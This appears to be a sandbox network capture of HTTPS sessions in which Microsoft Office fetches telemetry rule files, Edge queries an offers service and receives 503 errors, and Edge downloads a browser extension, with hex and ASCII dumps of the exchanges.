2024-10-31 00:18:37 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:37 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001837Z-16849878b78x6gn56mgecg60qc0000000afg00000000tns4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:37 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:37 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:37 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001837Z-15b8d89586fxdh48ft0acdbg4400000002g000000000e94s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:37 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:37 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 9f581369-601e-00ab-15c9-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001837Z-16849878b787bfsh7zgp804my400000007dg00000000wy8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49818	94.245.104.56	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:38 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:38 UTC	506	IN	HTTP/1.1 503 Service Unavailable Content-Length: 27 Connection: close Content-Type: text/html Date: Thu, 31 Oct 2024 00:18:38 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com X-Powered-By: ASP.NET
2024-10-31 00:18:38 UTC	27	IN	Data Raw: 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e Data Ascii: The service is unavailable.

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:40 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001840Z-16849878b785jrf8dn0d2rczaw0000000a000000000041vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:40 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001840Z-16849878b78p49s6zkwt11bbkn000000089g00000000x8xx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:40 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:40 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:40 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 09711dcd-d01e-0066-4b94-2aea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001840Z-159b85dff8fj6b6xhC1DFW8qdg00000000bg00000000141y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:40 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:40 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001840Z-16849878b78qfbkc5yywmsbg0c00000008ag00000000xu9h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:40 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49826	94.245.104.56	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:40 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:40 UTC	506	IN	HTTP/1.1 503 Service Unavailable Content-Length: 27 Connection: close Content-Type: text/html Date: Thu, 31 Oct 2024 00:18:40 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com X-Powered-By: ASP.NET
2024-10-31 00:18:40 UTC	27	IN	Data Raw: 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e Data Ascii: The service is unavailable.

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:40 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001840Z-16849878b7867ttgfbpnfxt44s00000008g000000000y93w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:40 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49827	142.250.186.65	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:40 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:40 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY1mF6pQQaFxFIsJkbOhi_PogUD722qbKg2_wBvOLTsajKVetvpTzGzRkpT7XHdzpXcUzZE X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Wed, 30 Oct 2024 20:33:29 GMT Expires: Thu, 30 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 13511 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-31 00:18:40 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-31 00:18:40 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-10-31 00:18:40 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
